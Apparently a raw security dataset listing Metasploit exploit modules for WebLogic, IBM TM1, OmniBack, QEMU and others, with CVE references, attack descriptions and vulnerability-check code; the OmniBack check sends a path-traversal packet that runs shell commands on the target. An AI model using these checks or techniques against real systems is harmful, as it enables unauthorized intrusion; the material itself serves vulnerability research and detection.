deardaniel/secdata-raw huggingface dataset:
Metasploit Module: IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Platform: win
Disclosure date: 2019-12-19
References: CVE-2019-4716, URL-https://www.ibm.com/support/pages/node/1127781, URL-https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_tm1_rce.md, URL-https://seclists.org/fulldisclosure/2020/Mar/44
Targets: Windows, Windows (Command), Linux, Linux (Command), AIX (Command)

Description:
This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows
          an unauthenticated attacker to perform a configuration overwrite.
          It starts by querying the Admin server for the available applications, picks one,
          and then exploits it. You can also provide an application name to bypass this step,
          and exploit the application directly.
          The configuration overwrite is used to change an application server authentication
          method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.
          The exploit then performs a fake authentication as admin, and finally abuses TM1
          scripting to perform a command injection as root or SYSTEM.
          Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.
          Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions
          earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).
Metasploit Module: WebLogic Server Deserialization RCE BadAttributeValueExpException ExtComp
Type: exploit
Path: modules/exploits/multi/misc/weblogic_deserialize_badattr_extcomp.rb
Platform: win
Disclosure date: 2020-04-30
References: CVE-2020-2883, URL-https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild
Targets: Windows, Unix

Description:
There exists a Java object deserialization vulnerability
          in multiple versions of WebLogic.

          Unauthenticated remote code execution can be achieved by
          sending a serialized `BadAttributeValueExpException`
          object over the T3 protocol to vulnerable versions of
          WebLogic. Leveraging an `ExtractorComparator` enables
          the ability to trigger `method.invoke()`, which will
          execute arbitrary code.

Check method (fingerprinting):
connect

    web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
    sock.put(web_req)
    sleep(2)
    res = sock.get

    versions =
      [
        Rex::Version.new('12.1.3.0.0'), Rex::Version.new('12.2.1.3.0'),
        Rex::Version.new('12.2.1.4.0')
      ]

    return CheckCode::Unknown('Failed to obtain response from service') unless res

    /WebLogic\s+Server[ -]+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
    return CheckCode::Unknown('Failed to detect WebLogic') unless version

    @version_no = Rex::Version.new(version)
    print_status("WebLogic version detected: #{@version_no}")

    return CheckCode::Appears("WebLogic version #{@version_no} appears vulnerable") if versions.include?(@version_no)

    CheckCode::Safe('Version of WebLogic is not vulnerable')
  ensure
    disconnect
  end
Metasploit Module: Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution
Type: exploit
Path: modules/exploits/multi/misc/indesign_server_soap.rb
Platform: win
Disclosure date: 2012-11-11
Authors: juan vazquez
References: OSVDB-87548, URL-http://web.archive.org/web/[PII_REDACTED]4644/http://secunia.com/advisories/48572/
Targets: Indesign CS6 Server / Windows (64 bits), Indesign CS6 Server / Mac OS X Snow Leopard 64 bits

Description:
This module abuses the "RunScript" procedure provided by the SOAP interface of
          Adobe InDesign Server, to execute arbitrary vbscript (Windows) or applescript (OSX).

          The exploit drops the payload on the server and must be removed manually.

Check method (fingerprinting):
# Use a very simple javascript
    check_var = rand_text_numeric(10)
    checkscript = 'returnValue = "' + check_var + '"'

    res = send_soap_request(checkscript, 'javascript')

    return Exploit::CheckCode::Vulnerable('InDesign Server executed the test script successfully') if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>')

    return Exploit::CheckCode::Safe('InDesign Server SOAP endpoint did not return expected response')
  end
Metasploit Module: HP OpenView OmniBack II Command Execution
Type: exploit
Path: modules/exploits/multi/misc/openview_omniback_exec.rb
Platform: unix
Disclosure date: 2001-02-28
References: CVE-2001-0311, OSVDB-6018, BID-11032, URL-http://www.securiteam.com/exploits/6M00O150KG.html

Description:
This module uses a vulnerability in the OpenView Omniback II
          service to execute arbitrary commands. This vulnerability was
          discovered by DiGiT and his code was used as the basis for this
          module.

          For Microsoft Windows targets, due to module limitations, use the
          "unix/cmd/generic" payload and set CMD to your command. You can only
          pass a small amount of characters (4) to the command line on Windows.

Check method (fingerprinting):
if (target.name =~ /Unix/)
      connect

      poof =
        "\x00\x00\x00.2" +
        "\x00 a" +
        "\x00 0" +
        "\x00 0" +
        "\x00 0" +
        "\x00 A" +
        "\x00 28" +
        "\x00/../../../bin/sh" +
        "\x00\x00" +
        "digit " +
        "AAAA\n\x00"

      sock.put(poof)
      sock.put("echo /etc/*;\n")
      res = sock.get_once(-1, 5)
      disconnect

      if !(res and res.length > 0)
        vprint_status("The remote service did not reply to our request")
        return Exploit::CheckCode::Unknown('Target did not reply to our request')
      end

      if (res =~ /passwd|group|resolv/)
        vprint_status("The remote service is exploitable")
        return Exploit::CheckCode::Vulnerable('Response contains Unix path markers (passwd, group, or resolv)')
      end

      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    if (target.name =~ /Windows/)
      connect

      poof =
        "\x00\x00\x00.2" +
        "\x00 a" +
        "\x00 0" +
        "\x00 0" +
        "\x00 0" +
        "\x00 A" +
        "\x00 28" +
        "\x00\\perl.exe" +
        "\x00\x20-e\x20system(dir)\x00\x00" +
        "digit " +
        "AAAA\n\x00"

      sock.put(poof)
      res = sock.get_once(-1, 5)
      disconnect

      print_status(res.to_s)

      if !(res and res.length > 0)
        print_status("The remote service did not reply to our request")
        return Exploit::CheckCode::Unknown('No reply received from target'
Metasploit Module: WebLogic Server Deserialization RCE - BadAttributeValueExpException
Type: exploit
Path: modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb
Platform: win
Disclosure date: 2020-01-15
References: CVE-2020-2555, URL-https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server, URL-https://github.com/Y4er/CVE-2020-2555
Targets: Windows, Unix

Description:
There exists a Java object deserialization vulnerability
          in multiple versions of WebLogic.

          Unauthenticated remote code execution can be achieved
          by sending a serialized BadAttributeValueExpException object
          over the T3 protocol to vulnerable WebLogic servers.

Check method (fingerprinting):
connect

    web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
    sock.put(web_req)
    sleep(2)
    res = sock.get_once

    versions = [ Rex::Version.new('12.1.3.0.0'), Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.4.0') ]

    return CheckCode::Unknown('Failed to obtain response from service') unless res

    /WebLogic\s+Server[ -]+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
    return CheckCode::Unknown('Failed to detect WebLogic') unless version

    @version_no = Rex::Version.new(version)
    print_status("WebLogic version detected: #{@version_no}")

    return CheckCode::Appears("WebLogic version #{@version_no} appears vulnerable") if versions.include?(@version_no)

    CheckCode::Safe('Version of WebLogic is not vulnerable')
  ensure
    disconnect
  end
Metasploit Module: Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow
Type: exploit
Path: modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
Platform: linux
Disclosure date: 2010-01-27
References: CVE-2010-0304, OSVDB-61987, BID-37985, URL-http://www.wireshark.org/security/wnpa-sec-2010-02.html, URL-http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h
Targets: wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86), wireshark 1.2.5 on RHEL 5.4 (x64), wireshark 1.2.5 on Mac OS X 10.5 (x86), wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)

Description:
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
          1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
          overflow. This bug found and reported by babi.

          This particular exploit targets the dissect_getaddrsbyname_request function. Several
          other functions also contain potentially exploitable stack-based buffer overflows.

          The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
          exploitation via the return address on the stack. Sending a larger string allows
          exploitation using the SEH bypass method. However, this packet will usually get
          fragmented, which may cause additional complications.

          NOTE: The vulnerable code is reached only when the packet dissection is rendered.
          If the packet is fragmented, all fragments must be captured and reassembled to
          exploit this issue.
Metasploit Module: Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution
Type: exploit
Path: modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
Platform: unix
Disclosure date: 2013-03-24
References: OSVDB-91663, URL-https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot, URL-https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0, URL-http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b

Description:
This module allows remote command execution on the PHP IRC bot Ra1NX by
          using the public call feature in private message to covertly bypass the
          authentication system.

Check method (fingerprinting):
connect_irc

    response = register(sock)
    if response =~ /463/ or response =~ /464/
      vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
      return Exploit::CheckCode::Unknown('Connection to the IRC server not allowed')
    end

    confirm_string = rand_text_alpha(8)
    response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")

    quit(sock)
    disconnect

    if response =~ /#{confirm_string}/
      return Exploit::CheckCode::Vulnerable('Bot echoed back confirmation string via PRIVMSG')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Oracle Weblogic Server Deserialization RCE - MarshalledObject
Type: exploit
Path: modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb
Platform: unix
Disclosure date: 2016-07-19
References: CVE-2016-3510
Targets: Unix, Solaris

Description:
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
          interface can send a serialized object (weblogic.corba.utils.MarshalledObject)
          to the interface to execute code on vulnerable hosts.

Check method (fingerprinting):
resp = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/console/login/LoginForm.jsp'
    )

    return CheckCode::Unknown('No valid response from target') unless resp && resp.code == 200

    unless resp.body.include?('Oracle WebLogic Server Administration Console')
      vprint_warning("Oracle WebLogic Server banner cannot be found")
      return CheckCode::Unknown('Oracle WebLogic Server banner not found')
    end

    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
    unless version
      vprint_warning("Oracle WebLogic Server version cannot be found")
      return CheckCode::Unknown('Could not determine WebLogic version from response')
    end

    version = Rex::Version.new(version)
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
    case
    when version.to_s.start_with?('10.3')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('10.3.6.0')
    when version.to_s.start_with?('12.1.3')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.1.3.0')
    when version.to_s.start_with?('12.2')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.2.1.0')
    end

    return CheckCode::Safe("WebLogic version #{version} is not vulnerable")
  end
=end
Metasploit Module: QEMU Monitor HMP 'migrate' Command Execution
Type: exploit
Path: modules/exploits/multi/misc/qemu_monitor_hmp_migrate_cmd_exec.rb
Platform: unix
Disclosure date: 2011-12-02
Authors: bcoles
References: CVE-2019-12928, URL-https://wiki.qemu.org/ToDo/HMP, URL-https://www.qemu.org/docs/master/system/monitor.html, URL-https://www.qemu.org/docs/master/system/security.html, URL-https://www.linux-kvm.org/page/Migration
Targets: Unix (Command), Linux (Dropper)

Description:
This module uses QEMU's Monitor Human Monitor Interface (HMP)
          TCP server to execute system commands using the `migrate` command.

          This module has been tested successfully on QEMU version 6.2.0
          on Ubuntu 20.04.

Check method (fingerprinting):
connect
    banner = sock.get_once.to_s
    disconnect

    unless banner.include?('QEMU') && banner.include?('monitor')
      return CheckCode::Safe('Service is not QEMU monitor HMP.')
    end

    CheckCode::Appears('QEMU monitor HMP service is running.')
  end
Metasploit Module: Oracle Weblogic Server Deserialization RCE - AsyncResponseService
Type: exploit
Path: modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb
Platform: unix
Disclosure date: 2019-04-23
References: CVE-2019-2725, URL-http://web.archive.org/web/[PII_REDACTED]4326/http://www.cnvd.org.cn/webinfo/show/4999, URL-https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2[PII_REDACTED].html, URL-https://twitter.com/F5Labs/status/[PII_REDACTED]68244224
Targets: Unix, Windows, Solaris

Description:
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
          interface can send a malicious SOAP request to the interface WLS AsyncResponseService
          to execute code on the vulnerable host.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'ctype' => 'text/xml',
      'headers' => { 'SOAPAction' => '' }
    )

    if res && res.code == 500 && res.body.include?('<faultcode>env:Client</faultcode>')
      vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
      vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
      Exploit::CheckCode::Vulnerable('Target returned a vulnerable SOAP fault response')
    elsif res && res.code != 202
      vprint_status('The target returned a non-vulnerable HTTP code')
      Exploit::CheckCode::Safe('Target returned a non-vulnerable HTTP response')
    elsif res.nil?
      vprint_status('The target did not respond in an expected way')
      Exploit::CheckCode::Unknown('Target did not respond in an expected way')
    else
      vprint_status("The target returned HTTP code: #{res.code}")
      vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]")
      Exploit::CheckCode::Unknown('Unable to determine vulnerability status')
    end
  end
Metasploit Module: Oracle Weblogic Server Deserialization RCE - RMI UnicastRef
Type: exploit
Path: modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb
Platform: unix
Disclosure date: 2017-01-25
References: CVE-2017-3248
Targets: Unix, Solaris

Description:
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
          interface can send a serialized object (sun.rmi.server.UnicastRef)
          to the interface to execute code on vulnerable hosts.

Check method (fingerprinting):
resp = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/console/login/LoginForm.jsp'
    )

    return CheckCode::Unknown('No valid response from target') unless resp && resp.code == 200

    unless resp.body.include?('Oracle WebLogic Server Administration Console')
      vprint_warning("Oracle WebLogic Server banner cannot be found")
      return CheckCode::Unknown('Oracle WebLogic Server banner not found')
    end

    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
    unless version
      vprint_warning("Oracle WebLogic Server version cannot be found")
      return CheckCode::Unknown('Could not determine WebLogic version from response')
    end

    version = Rex::Version.new(version)
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
    case
    when version.to_s.start_with?('10.3')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('10.3.6.0')
    when version.to_s.start_with?('12.1.3')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.1.3.0')
    when version.to_s.start_with?('12.2')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.2.1.1')
    end

    return CheckCode::Safe("WebLogic version #{version} is not vulnerable")
  end
=end
Metasploit Module: HP StorageWorks P4000 Virtual SAN Appliance Command Execution
Type: exploit
Path: modules/exploits/multi/misc/hp_vsa_exec.rb
Platform: %w{linux unix}
Disclosure date: 2011-11-11
References: CVE-2012-4361, OSVDB-82087, EDB-18893, URL-http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958, URL-http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086, URL-http://www.agarri.fr/blog/archives/2012/02/index.html

Description:
This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
          versions prior to 9.5. By using a default account credential, it is possible
          to inject arbitrary commands as part of a ping request via port 13838.
Metasploit Module: Squiggle 1.7 SVG Browser Java Code Execution
Type: exploit
Path: modules/exploits/multi/misc/batik_svg_java.rb
Platform: win
Disclosure date: 2012-05-11
References: OSVDB-81965, URL-http://www.agarri.fr/blog/
Targets: Generic (Java Payload), Windows Universal, Linux x86

Description:
This module abuses the SVG support to execute Java Code in the
          Squiggle Browser included in the Batik framework 1.7 through a
          crafted SVG file referencing a jar file.

          In order to gain arbitrary code execution, the browser must meet
          the following conditions: (1) It must support at least SVG version
          1.1 or newer, (2) It must support Java code and (3) The "Enforce
          secure scripting" check must be disabled.

          The module has been tested against Windows and Linux platforms.
Metasploit Module: Apache OpenOffice Text Document Malicious Macro Execution
Type: exploit
Path: modules/exploits/multi/misc/openoffice_document_macro.rb
Platform: win
Disclosure date: 2017-02-08
References: URL-https://en.wikipedia.org/wiki/Macro_virus
Targets: Apache OpenOffice on Windows (PSH), Apache OpenOffice on Linux/OSX (Python)

Description:
This module generates an Apache OpenOffice Text Document with a malicious macro in it.
          To exploit successfully, the targeted user must adjust the security level in Macro
          Security to either Medium or Low. If set to Medium, a prompt is presented to the user
          to enable or disable the macro. If set to Low, the macro can automatically run without
          any warning.

          The module also works against LibreOffice.
Metasploit Module: NodeJS Debugger Command Injection
Type: exploit
Path: modules/exploits/multi/misc/nodejs_v8_debugger.rb
Platform: nodejs
Disclosure date: 2016-08-15
References: URL-https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md, URL-https://github.com/nodejs/node/pull/8106
Targets: NodeJS

Description:
This module uses the "evaluate" request type of the NodeJS V8
          debugger protocol (version 1) to evaluate arbitrary JS and
          call out to other system commands. The port (default 5858) is
          not exposed non-locally in default configurations, but may be
          exposed either intentionally or via misconfiguration.

Check method (fingerprinting):
connect
    res = sock.get_once
    disconnect

    return Exploit::CheckCode::Unknown('V8 debugger protocol not detected') unless res

    if res.include? "V8-Version" and res.include? "Protocol-Version: 1"
      vprint_status("Got debugger handshake:\n#{res}")
      return Exploit::CheckCode::Appears('Node.js V8 debugger protocol detected')
    end

    Exploit::CheckCode::Unknown('V8 debugger protocol not detected')
  end
Metasploit Module: Erlang Port Mapper Daemon Cookie RCE
Type: exploit
Path: modules/exploits/multi/misc/erlang_cookie_rce.rb
Platform: unix
Disclosure date: 2009-11-20
References: CVE-2020-24719, URL-https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/

Description:
The erlang port mapper daemon is used to coordinate distributed erlang instances.
          Should an attacker get the authentication cookie RCE is trivial. Usually, this
          cookie is named ".erlang.cookie" and varies on location.
Metasploit Module: Oracle Weblogic Server Deserialization RCE - Raw Object
Type: exploit
Path: modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb
Platform: unix
Disclosure date: 2015-01-28
References: CVE-2015-4852
Targets: Unix, Solaris

Description:
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
          interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)
          to the interface to execute code on vulnerable hosts.

Check method (fingerprinting):
resp = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/console/login/LoginForm.jsp'
    )

    return CheckCode::Unknown('No valid response from target') unless resp && resp.code == 200

    unless resp.body.include?('Oracle WebLogic Server Administration Console')
      vprint_warning("Oracle WebLogic Server banner cannot be found")
      return CheckCode::Unknown('Oracle WebLogic Server banner not found')
    end

    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
    unless version
      vprint_warning("Oracle WebLogic Server version cannot be found")
      return CheckCode::Unknown('Could not determine WebLogic version from response')
    end

    version = Rex::Version.new(version)
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
    case
    when version.to_s.start_with?('10.3')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('10.3.6.0')
    when version.to_s.start_with?('12.1.2')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.1.2.0')
    when version.to_s.start_with?('12.1.3')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.1.3.0')
    when version.to_s.start_with?('12.2')
      return CheckCode::Appears("WebLogic version #{version} appears vulnerable") unless version > Rex::Version.new('12.2.1.0')